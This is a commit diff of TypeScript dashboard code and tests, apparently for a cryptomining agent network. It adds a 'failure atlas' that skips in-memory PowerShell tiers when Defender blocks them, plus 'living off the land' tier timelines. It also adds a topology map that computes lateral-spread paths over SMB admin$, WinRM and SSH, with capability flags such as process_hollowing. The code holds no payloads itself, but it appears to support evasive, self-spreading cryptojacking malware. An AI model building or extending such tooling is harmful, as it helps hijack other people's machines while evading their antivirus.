Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -47,6 +47,20 @@ describe('parseAccessDepthServerPolicy', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildAccessDepthModel atlas skips', () => {
|
||||
it('marks tiers skipped_by_atlas and lists atlas summary', () => {
|
||||
const model = buildAccessDepthModel(
|
||||
agent({ platform: 'windows' }),
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['exe_subprocess', 'ps_inmemory', 'cpu_inprocess'],
|
||||
atlas_skips: [{ tier: 'ps_inmemory', condition: 'defender_on', reason: '5 failures with Defender on' }],
|
||||
}),
|
||||
);
|
||||
expect(model.atlasSkips).toHaveLength(1);
|
||||
expect(model.miningOnion.find((r) => r.tier === 'ps_inmemory')?.status).toBe('skipped_by_atlas');
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildAccessDepthModel pending chain', () => {
|
||||
it('marks skipped tiers and pending remainder', () => {
|
||||
const model = buildAccessDepthModel(
|
||||
|
||||
@@ -61,6 +61,7 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
|
||||
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
|
||||
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
|
||||
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
|
||||
...(update.atlas_skips !== undefined ? { atlas_skips: update.atlas_skips } : {}),
|
||||
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
|
||||
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
|
||||
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
|
||||
|
||||
45
server/web/src/help/lotlTimeline.test.ts
Normal file
45
server/web/src/help/lotlTimeline.test.ts
Normal file
@@ -0,0 +1,45 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { buildLotlTimelineModel } from './lotlTimeline';
|
||||
import type { Agent } from '../types';
|
||||
|
||||
function agent(partial: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'x',
|
||||
name: 'n',
|
||||
wallet: '',
|
||||
ip: '1.1.1.1',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
...partial,
|
||||
};
|
||||
}
|
||||
|
||||
describe('buildLotlTimelineModel atlas skips', () => {
|
||||
it('marks powershell tier skipped_by_atlas when ps_inmemory is blocked', () => {
|
||||
const model = buildLotlTimelineModel(
|
||||
agent({}),
|
||||
['docker', 'powershell', 'dotnet'],
|
||||
[],
|
||||
[],
|
||||
[{ tier: 'ps_inmemory', condition: 'defender_on', reason: '5 failures' }],
|
||||
);
|
||||
const ps = model.tiers.find((t) => t.tier === 'powershell');
|
||||
expect(ps?.state).toBe('skipped_by_atlas');
|
||||
});
|
||||
});
|
||||
@@ -1,9 +1,10 @@
|
||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||
import type { AtlasSkipView } from './accessDepth';
|
||||
import type { Agent } from '../types';
|
||||
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
|
||||
|
||||
/** Per-tier state for the live onion timeline UI. */
|
||||
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped';
|
||||
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped' | 'skipped_by_atlas';
|
||||
|
||||
export interface LotlTimelineTierRow {
|
||||
index: number;
|
||||
@@ -80,8 +81,10 @@ export function buildLotlTimelineModel(
|
||||
order: string[],
|
||||
attempts: TierAttempt[],
|
||||
skipped: string[] = [],
|
||||
atlasSkips: AtlasSkipView[] = [],
|
||||
): LotlTimelineModel {
|
||||
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
|
||||
const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier)));
|
||||
const activeTier = agent.lotl_tier?.trim() || undefined;
|
||||
const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined;
|
||||
const online = agent.status === 'online';
|
||||
@@ -97,7 +100,9 @@ export function buildLotlTimelineModel(
|
||||
const attempt = lastAttemptForTier(attempts, tier);
|
||||
let state: LotlTimelineTierState = 'pending';
|
||||
|
||||
if (skippedSet.has(key)) {
|
||||
if (atlasSet.has(key)) {
|
||||
state = 'skipped_by_atlas';
|
||||
} else if (skippedSet.has(key)) {
|
||||
state = 'skipped';
|
||||
} else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) {
|
||||
state = 'trying';
|
||||
|
||||
262
server/web/src/help/networkTopology.test.ts
Normal file
262
server/web/src/help/networkTopology.test.ts
Normal file
@@ -0,0 +1,262 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
parseSubnet,
|
||||
subnetLabel,
|
||||
groupBySubnet,
|
||||
layoutSubnets,
|
||||
layoutNodes,
|
||||
buildEdges,
|
||||
spreadCandidates,
|
||||
spreadLanesBetween,
|
||||
} from './networkTopology';
|
||||
import type { Agent } from '../types';
|
||||
|
||||
function mkAgent(overrides: Partial<Agent> & { id: string }): Agent {
|
||||
return {
|
||||
name: overrides.id,
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
ip: '10.0.0.1',
|
||||
version: '1.0.0',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: new Date().toISOString(),
|
||||
created_at: new Date().toISOString(),
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
...overrides,
|
||||
} as Agent;
|
||||
}
|
||||
|
||||
const fullCaps = {
|
||||
hole_punch: true,
|
||||
remote_aggressive: true,
|
||||
mesh_p2p: true,
|
||||
auto_spread: true,
|
||||
process_hollowing: false,
|
||||
ai_enabled: false,
|
||||
};
|
||||
|
||||
const noCaps = { ...fullCaps, auto_spread: false };
|
||||
|
||||
// ── parseSubnet ──────────────────────────────────────────────────────────────
|
||||
|
||||
describe('parseSubnet', () => {
|
||||
it('extracts /24 from standard IPv4', () => {
|
||||
expect(parseSubnet('192.168.1.42')).toBe('192.168.1.0/24');
|
||||
expect(parseSubnet('10.0.0.5')).toBe('10.0.0.0/24');
|
||||
expect(parseSubnet('172.16.254.1')).toBe('172.16.254.0/24');
|
||||
});
|
||||
|
||||
it('returns unknown for missing or bad IPs', () => {
|
||||
expect(parseSubnet(undefined)).toBe('unknown');
|
||||
expect(parseSubnet('')).toBe('unknown');
|
||||
expect(parseSubnet('not-an-ip')).toBe('unknown');
|
||||
expect(parseSubnet('192.168.1')).toBe('unknown');
|
||||
});
|
||||
});
|
||||
|
||||
// ── subnetLabel ──────────────────────────────────────────────────────────────
|
||||
|
||||
describe('subnetLabel', () => {
|
||||
it('replaces .0/24 with .x', () => {
|
||||
expect(subnetLabel('192.168.1.0/24')).toBe('192.168.1.x');
|
||||
});
|
||||
|
||||
it('handles unknown', () => {
|
||||
expect(subnetLabel('unknown')).toBe('Unknown');
|
||||
});
|
||||
});
|
||||
|
||||
// ── groupBySubnet ────────────────────────────────────────────────────────────
|
||||
|
||||
describe('groupBySubnet', () => {
|
||||
it('groups agents by subnet', () => {
|
||||
const agents = [
|
||||
mkAgent({ id: 'a1', ip: '192.168.1.10' }),
|
||||
mkAgent({ id: 'a2', ip: '192.168.1.20' }),
|
||||
mkAgent({ id: 'a3', ip: '10.0.0.5' }),
|
||||
];
|
||||
const map = groupBySubnet(agents);
|
||||
expect(map.get('192.168.1.0/24')).toHaveLength(2);
|
||||
expect(map.get('10.0.0.0/24')).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('handles empty agent list', () => {
|
||||
expect(groupBySubnet([])).toEqual(new Map());
|
||||
});
|
||||
|
||||
it('puts missing-IP agents under unknown', () => {
|
||||
const agents = [mkAgent({ id: 'x', ip: undefined })];
|
||||
expect(groupBySubnet(agents).get('unknown')).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
|
||||
// ── layoutSubnets ────────────────────────────────────────────────────────────
|
||||
|
||||
describe('layoutSubnets', () => {
|
||||
it('places single subnet at center', () => {
|
||||
const [s] = layoutSubnets(['10.0.0.0/24']);
|
||||
expect(s.cx).toBeCloseTo(50);
|
||||
expect(s.cy).toBeCloseTo(50);
|
||||
});
|
||||
|
||||
it('places multiple subnets on a ring', () => {
|
||||
const layouts = layoutSubnets(['10.0.0.0/24', '192.168.1.0/24']);
|
||||
expect(layouts).toHaveLength(2);
|
||||
layouts.forEach((l) => {
|
||||
expect(l.cx).toBeGreaterThan(0);
|
||||
expect(l.cy).toBeGreaterThan(0);
|
||||
expect(l.r).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
|
||||
it('assigns distinct colors to different subnets', () => {
|
||||
const layouts = layoutSubnets(['10.0.0.0/24', '192.168.1.0/24', '172.16.0.0/24']);
|
||||
const colors = layouts.map((l) => l.color);
|
||||
expect(new Set(colors).size).toBe(3);
|
||||
});
|
||||
});
|
||||
|
||||
// ── layoutNodes ──────────────────────────────────────────────────────────────
|
||||
|
||||
describe('layoutNodes', () => {
|
||||
it('produces one node per agent', () => {
|
||||
const agents = [
|
||||
mkAgent({ id: 'a1', ip: '10.0.0.1' }),
|
||||
mkAgent({ id: 'a2', ip: '10.0.0.2' }),
|
||||
];
|
||||
const subnets = layoutSubnets(['10.0.0.0/24']);
|
||||
const nodes = layoutNodes(agents, subnets);
|
||||
expect(nodes).toHaveLength(2);
|
||||
nodes.forEach((n) => {
|
||||
expect(n.x).toBeGreaterThanOrEqual(0);
|
||||
expect(n.y).toBeGreaterThanOrEqual(0);
|
||||
});
|
||||
});
|
||||
|
||||
it('marks offline agents correctly', () => {
|
||||
const agents = [
|
||||
mkAgent({ id: 'on', ip: '10.0.0.1', status: 'online' }),
|
||||
mkAgent({ id: 'off', ip: '10.0.0.2', status: 'offline' }),
|
||||
];
|
||||
const subnets = layoutSubnets(['10.0.0.0/24']);
|
||||
const nodes = layoutNodes(agents, subnets);
|
||||
expect(nodes.find((n) => n.id === 'on')?.online).toBe(true);
|
||||
expect(nodes.find((n) => n.id === 'off')?.online).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
// ── spreadLanesBetween ───────────────────────────────────────────────────────
|
||||
|
||||
describe('spreadLanesBetween', () => {
|
||||
it('returns empty when source has no auto_spread', () => {
|
||||
const a = mkAgent({ id: 'a', capabilities: noCaps });
|
||||
const b = mkAgent({ id: 'b', capabilities: fullCaps });
|
||||
expect(spreadLanesBetween(a, b)).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('includes smb+winrm for two Windows nodes', () => {
|
||||
const a = mkAgent({ id: 'a', platform: 'windows', capabilities: fullCaps });
|
||||
const b = mkAgent({ id: 'b', platform: 'windows', capabilities: fullCaps });
|
||||
const lanes = spreadLanesBetween(a, b);
|
||||
expect(lanes).toContain('smb');
|
||||
expect(lanes).toContain('winrm');
|
||||
});
|
||||
|
||||
it('includes ssh for Linux nodes', () => {
|
||||
const a = mkAgent({ id: 'a', platform: 'linux', capabilities: fullCaps });
|
||||
const b = mkAgent({ id: 'b', platform: 'linux', capabilities: fullCaps });
|
||||
const lanes = spreadLanesBetween(a, b);
|
||||
expect(lanes).toContain('ssh');
|
||||
});
|
||||
});
|
||||
|
||||
// ── buildEdges ───────────────────────────────────────────────────────────────
|
||||
|
||||
describe('buildEdges', () => {
|
||||
it('creates subnet edges for same-subnet online pairs', () => {
|
||||
const agents = [
|
||||
mkAgent({ id: 'a1', ip: '192.168.1.10', capabilities: noCaps }),
|
||||
mkAgent({ id: 'a2', ip: '192.168.1.20', capabilities: noCaps }),
|
||||
];
|
||||
const edges = buildEdges(agents, new Set());
|
||||
expect(edges.some((e) => e.kind === 'subnet')).toBe(true);
|
||||
expect(edges).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('excludes offline agents from edges', () => {
|
||||
const agents = [
|
||||
mkAgent({ id: 'a1', ip: '10.0.0.1', status: 'offline', capabilities: fullCaps }),
|
||||
mkAgent({ id: 'a2', ip: '10.0.0.2', status: 'online', capabilities: fullCaps }),
|
||||
];
|
||||
expect(buildEdges(agents, new Set())).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('adds spread edges for spread-capable nodes on different subnets', () => {
|
||||
const agents = [
|
||||
mkAgent({ id: 'a1', ip: '10.0.0.1', platform: 'windows', capabilities: fullCaps }),
|
||||
mkAgent({ id: 'a2', ip: '192.168.1.1', platform: 'windows', capabilities: fullCaps }),
|
||||
];
|
||||
const edges = buildEdges(agents, new Set());
|
||||
expect(edges.some((e) => e.kind === 'cross_subnet')).toBe(true);
|
||||
});
|
||||
|
||||
it('marks edges active when a selected node is involved', () => {
|
||||
const agents = [
|
||||
mkAgent({ id: 'a1', ip: '10.0.0.1', capabilities: noCaps }),
|
||||
mkAgent({ id: 'a2', ip: '10.0.0.2', capabilities: noCaps }),
|
||||
];
|
||||
const edges = buildEdges(agents, new Set(['a1']));
|
||||
expect(edges.every((e) => e.active)).toBe(true);
|
||||
});
|
||||
|
||||
it('produces no duplicate edge pairs', () => {
|
||||
const agents = [
|
||||
mkAgent({ id: 'a1', ip: '10.0.0.1', capabilities: fullCaps, platform: 'windows' }),
|
||||
mkAgent({ id: 'a2', ip: '10.0.0.2', capabilities: fullCaps, platform: 'windows' }),
|
||||
mkAgent({ id: 'a3', ip: '10.0.0.3', capabilities: fullCaps, platform: 'windows' }),
|
||||
];
|
||||
const edges = buildEdges(agents, new Set());
|
||||
const ids = edges.map((e) => e.id);
|
||||
expect(new Set(ids).size).toBe(ids.length);
|
||||
});
|
||||
});
|
||||
|
||||
// ── spreadCandidates ─────────────────────────────────────────────────────────
|
||||
|
||||
describe('spreadCandidates', () => {
|
||||
it('returns empty for offline source', () => {
|
||||
const src = mkAgent({ id: 'src', status: 'offline', capabilities: fullCaps });
|
||||
const tgt = mkAgent({ id: 'tgt', capabilities: fullCaps });
|
||||
expect(spreadCandidates(src, [src, tgt])).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('returns empty when source lacks auto_spread', () => {
|
||||
const src = mkAgent({ id: 'src', capabilities: noCaps });
|
||||
const tgt = mkAgent({ id: 'tgt', capabilities: fullCaps });
|
||||
expect(spreadCandidates(src, [src, tgt])).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('lists reachable targets with lanes', () => {
|
||||
const src = mkAgent({ id: 'src', platform: 'windows', capabilities: fullCaps });
|
||||
const tgt = mkAgent({ id: 'tgt', platform: 'windows', capabilities: fullCaps });
|
||||
const offline = mkAgent({ id: 'off', status: 'offline', capabilities: fullCaps });
|
||||
const results = spreadCandidates(src, [src, tgt, offline]);
|
||||
expect(results).toHaveLength(1);
|
||||
expect(results[0].agentId).toBe('tgt');
|
||||
expect(['smb', 'winrm', 'ssh', 'spread']).toContain(results[0].lane);
|
||||
});
|
||||
|
||||
it('excludes self', () => {
|
||||
const src = mkAgent({ id: 'src', capabilities: fullCaps });
|
||||
expect(spreadCandidates(src, [src])).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
287
server/web/src/help/networkTopology.ts
Normal file
287
server/web/src/help/networkTopology.ts
Normal file
@@ -0,0 +1,287 @@
|
||||
/**
|
||||
* Network Topology Map — pure logic helpers.
|
||||
*
|
||||
* No React, no DOM — fully unit-testable.
|
||||
* All data is derived from the existing Agent type; no backend changes needed.
|
||||
*/
|
||||
|
||||
import type { Agent } from '../types';
|
||||
|
||||
// ── Subnet parsing ─────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Extract the /24 subnet string from an IPv4 address.
|
||||
* "192.168.1.42" → "192.168.1.0/24"
|
||||
* Returns "unknown" when the IP is missing or non-IPv4.
|
||||
*/
|
||||
export function parseSubnet(ip: string | undefined): string {
|
||||
if (!ip) return 'unknown';
|
||||
const parts = ip.split('.');
|
||||
if (parts.length !== 4 || parts.some((p) => isNaN(Number(p)))) return 'unknown';
|
||||
return `${parts[0]}.${parts[1]}.${parts[2]}.0/24`;
|
||||
}
|
||||
|
||||
/** Human-friendly label: "192.168.1.x" */
|
||||
export function subnetLabel(subnet: string): string {
|
||||
if (subnet === 'unknown') return 'Unknown';
|
||||
return subnet.replace('.0/24', '.x');
|
||||
}
|
||||
|
||||
/** Group agents by their /24 subnet. */
|
||||
export function groupBySubnet(agents: Agent[]): Map<string, Agent[]> {
|
||||
const map = new Map<string, Agent[]>();
|
||||
for (const a of agents) {
|
||||
const s = parseSubnet(a.ip);
|
||||
if (!map.has(s)) map.set(s, []);
|
||||
map.get(s)!.push(a);
|
||||
}
|
||||
return map;
|
||||
}
|
||||
|
||||
// ── Layout ─────────────────────────────────────────────────────────────────
|
||||
|
||||
/** Stable hash from a string → 0..1 float. */
|
||||
function stableHash(seed: string): number {
|
||||
let h = 2166136261 >>> 0;
|
||||
for (let i = 0; i < seed.length; i++) {
|
||||
h ^= seed.charCodeAt(i);
|
||||
h = Math.imul(h, 16777619) >>> 0;
|
||||
}
|
||||
return (h % 10000) / 10000;
|
||||
}
|
||||
|
||||
/** Two independent stable floats for x/y from one seed. */
|
||||
function stableXY(seed: string): { x: number; y: number } {
|
||||
return {
|
||||
x: stableHash(seed + ':x'),
|
||||
y: stableHash(seed + ':y'),
|
||||
};
|
||||
}
|
||||
|
||||
export interface SubnetLayout {
|
||||
subnet: string;
|
||||
label: string;
|
||||
cx: number; // center x, 0-100 viewBox
|
||||
cy: number; // center y, 0-100 viewBox
|
||||
r: number; // radius of the bubble ring
|
||||
color: string;
|
||||
}
|
||||
|
||||
const SUBNET_PALETTE = [
|
||||
'#00e8f5', // cyan
|
||||
'#b24bf3', // violet
|
||||
'#39ff14', // neon green
|
||||
'#ff2da6', // magenta
|
||||
'#ffb020', // amber
|
||||
'#ff6b35', // orange
|
||||
'#3a86ff', // blue
|
||||
'#06d6a0', // teal
|
||||
'#ffd60a', // yellow
|
||||
'#f72585', // hot pink
|
||||
];
|
||||
|
||||
export function subnetColor(index: number): string {
|
||||
return SUBNET_PALETTE[index % SUBNET_PALETTE.length];
|
||||
}
|
||||
|
||||
/**
|
||||
* Place subnet bubbles in a circle around the center.
|
||||
* Single subnet gets center position.
|
||||
*/
|
||||
export function layoutSubnets(subnets: string[]): SubnetLayout[] {
|
||||
const total = subnets.length;
|
||||
const BASE_R = 18;
|
||||
const ORBIT_R = total === 1 ? 0 : 28;
|
||||
|
||||
return subnets.map((subnet, i) => {
|
||||
const angle = total === 1 ? 0 : (i / total) * Math.PI * 2 - Math.PI / 2;
|
||||
const cx = 50 + Math.cos(angle) * ORBIT_R;
|
||||
const cy = 50 + Math.sin(angle) * ORBIT_R;
|
||||
return {
|
||||
subnet,
|
||||
label: subnetLabel(subnet),
|
||||
cx,
|
||||
cy,
|
||||
r: BASE_R,
|
||||
color: subnetColor(i),
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
export interface TopoNode {
|
||||
id: string;
|
||||
agentId: string;
|
||||
label: string;
|
||||
x: number;
|
||||
y: number;
|
||||
subnet: string;
|
||||
subnetColor: string;
|
||||
online: boolean;
|
||||
platform: string;
|
||||
ip: string;
|
||||
hashrate: number;
|
||||
latencyMs?: number;
|
||||
joinLane?: string;
|
||||
canSpread: boolean;
|
||||
capabilities: Agent['capabilities'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Compute pixel positions for all nodes.
|
||||
* Nodes within a subnet scatter around the subnet center.
|
||||
*/
|
||||
export function layoutNodes(
|
||||
agents: Agent[],
|
||||
subnetLayouts: SubnetLayout[],
|
||||
): TopoNode[] {
|
||||
const subnetMap = new Map(subnetLayouts.map((s) => [s.subnet, s]));
|
||||
const subnetAgentCounts = new Map<string, number>();
|
||||
|
||||
for (const a of agents) {
|
||||
const s = parseSubnet(a.ip);
|
||||
subnetAgentCounts.set(s, (subnetAgentCounts.get(s) ?? 0) + 1);
|
||||
}
|
||||
|
||||
const subnetCounters = new Map<string, number>();
|
||||
|
||||
return agents.map((agent): TopoNode => {
|
||||
const subnet = parseSubnet(agent.ip);
|
||||
const layout = subnetMap.get(subnet) ?? { cx: 50, cy: 50, r: 18, color: '#00e8f5', subnet, label: 'Unknown' };
|
||||
const total = subnetAgentCounts.get(subnet) ?? 1;
|
||||
const idx = subnetCounters.get(subnet) ?? 0;
|
||||
subnetCounters.set(subnet, idx + 1);
|
||||
|
||||
// Stable jitter within the bubble radius
|
||||
const jitter = stableXY(`${subnet}:${agent.id}`);
|
||||
const angle = (idx / Math.max(total, 1)) * Math.PI * 2 + (jitter.x - 0.5) * 0.8;
|
||||
const dist = (total === 1 ? 0 : 4 + Math.sqrt(total) * 2.5) * (0.6 + jitter.y * 0.4);
|
||||
const maxDist = layout.r * 0.75;
|
||||
|
||||
return {
|
||||
id: agent.id,
|
||||
agentId: agent.id,
|
||||
label: agent.name,
|
||||
x: layout.cx + Math.cos(angle) * Math.min(dist, maxDist),
|
||||
y: layout.cy + Math.sin(angle) * Math.min(dist, maxDist),
|
||||
subnet,
|
||||
subnetColor: layout.color,
|
||||
online: agent.status === 'online',
|
||||
platform: agent.platform ?? 'unknown',
|
||||
ip: agent.ip ?? '—',
|
||||
hashrate: agent.hashrate_15m ?? 0,
|
||||
latencyMs: agent.latency_ms,
|
||||
joinLane: agent.join_lane,
|
||||
canSpread: !!(agent.capabilities?.auto_spread),
|
||||
capabilities: agent.capabilities,
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
// ── Edge graph ──────────────────────────────────────────────────────────────
|
||||
|
||||
export type EdgeKind =
|
||||
| 'subnet' // same /24 — implies reachability
|
||||
| 'spread' // lateral spread candidate
|
||||
| 'smb' // SMB admin$ path (Windows + port 445)
|
||||
| 'winrm' // WinRM (Windows + 5985/5986)
|
||||
| 'ssh' // SSH lateral (Linux/Darwin)
|
||||
| 'cross_subnet'; // different subnets, but both spread-capable
|
||||
|
||||
export interface TopoEdge {
|
||||
id: string;
|
||||
sourceId: string;
|
||||
targetId: string;
|
||||
kind: EdgeKind;
|
||||
/** Highlight when either endpoint is selected. */
|
||||
active: boolean;
|
||||
}
|
||||
|
||||
/** Determine what spread lanes exist between two agents. */
|
||||
export function spreadLanesBetween(a: Agent, b: Agent): EdgeKind[] {
|
||||
if (!a.capabilities?.auto_spread || !b.capabilities?.auto_spread) return [];
|
||||
const lanes: EdgeKind[] = ['spread'];
|
||||
|
||||
const aWin = (a.platform ?? '').toLowerCase().includes('win');
|
||||
const bWin = (b.platform ?? '').toLowerCase().includes('win');
|
||||
const aLin = (a.platform ?? '').toLowerCase().includes('linux') || (a.platform ?? '').toLowerCase().includes('darwin');
|
||||
const bLin = (b.platform ?? '').toLowerCase().includes('linux') || (b.platform ?? '').toLowerCase().includes('darwin');
|
||||
|
||||
if (aWin && bWin) { lanes.push('smb'); lanes.push('winrm'); }
|
||||
if ((aLin && bWin) || (aWin && bLin) || (aLin && bLin)) lanes.push('ssh');
|
||||
|
||||
return lanes;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build all edges for the topology graph.
|
||||
*
|
||||
* Rules:
|
||||
* - Same subnet + both online → `subnet` edge
|
||||
* - Both have auto_spread + online → additional `spread` / protocol edges
|
||||
* - Cross-subnet + both spread-capable → `cross_subnet`
|
||||
*/
|
||||
export function buildEdges(agents: Agent[], selectedIds: Set<string>): TopoEdge[] {
|
||||
const online = agents.filter((a) => a.status === 'online');
|
||||
const edges: TopoEdge[] = [];
|
||||
const seen = new Set<string>();
|
||||
|
||||
for (let i = 0; i < online.length; i++) {
|
||||
for (let j = i + 1; j < online.length; j++) {
|
||||
const a = online[i];
|
||||
const b = online[j];
|
||||
const subA = parseSubnet(a.ip);
|
||||
const subB = parseSubnet(b.ip);
|
||||
const sameSubnet = subA === subB && subA !== 'unknown';
|
||||
const edgeKey = [a.id, b.id].sort().join('::');
|
||||
|
||||
if (seen.has(edgeKey)) continue;
|
||||
seen.add(edgeKey);
|
||||
|
||||
const active = selectedIds.has(a.id) || selectedIds.has(b.id);
|
||||
|
||||
if (sameSubnet) {
|
||||
edges.push({ id: edgeKey + ':subnet', sourceId: a.id, targetId: b.id, kind: 'subnet', active });
|
||||
}
|
||||
|
||||
// Spread lanes (may add on top of subnet edge)
|
||||
const lanes = spreadLanesBetween(a, b);
|
||||
for (const lane of lanes) {
|
||||
if (lane === 'spread' && sameSubnet) continue; // subnet edge covers it
|
||||
const spreadKey = edgeKey + ':' + lane;
|
||||
if (seen.has(spreadKey)) continue;
|
||||
seen.add(spreadKey);
|
||||
edges.push({
|
||||
id: spreadKey,
|
||||
sourceId: a.id,
|
||||
targetId: b.id,
|
||||
kind: sameSubnet ? lane : 'cross_subnet',
|
||||
active,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return edges;
|
||||
}
|
||||
|
||||
/**
|
||||
* Which agents can be reached laterally from a source agent?
|
||||
* Returns agent IDs with the best available lane.
|
||||
*/
|
||||
export function spreadCandidates(
|
||||
source: Agent,
|
||||
allAgents: Agent[],
|
||||
): { agentId: string; lane: EdgeKind }[] {
|
||||
if (!source.capabilities?.auto_spread || source.status !== 'online') return [];
|
||||
const results: { agentId: string; lane: EdgeKind }[] = [];
|
||||
|
||||
for (const target of allAgents) {
|
||||
if (target.id === source.id || target.status !== 'online') continue;
|
||||
const lanes = spreadLanesBetween(source, target);
|
||||
if (lanes.length === 0) continue;
|
||||
// Prefer most specific lane
|
||||
const preferred = lanes.find((l) => l !== 'spread') ?? lanes[0];
|
||||
results.push({ agentId: target.id, lane: preferred });
|
||||
}
|
||||
return results;
|
||||
}
|
||||
Reference in New Issue
Block a user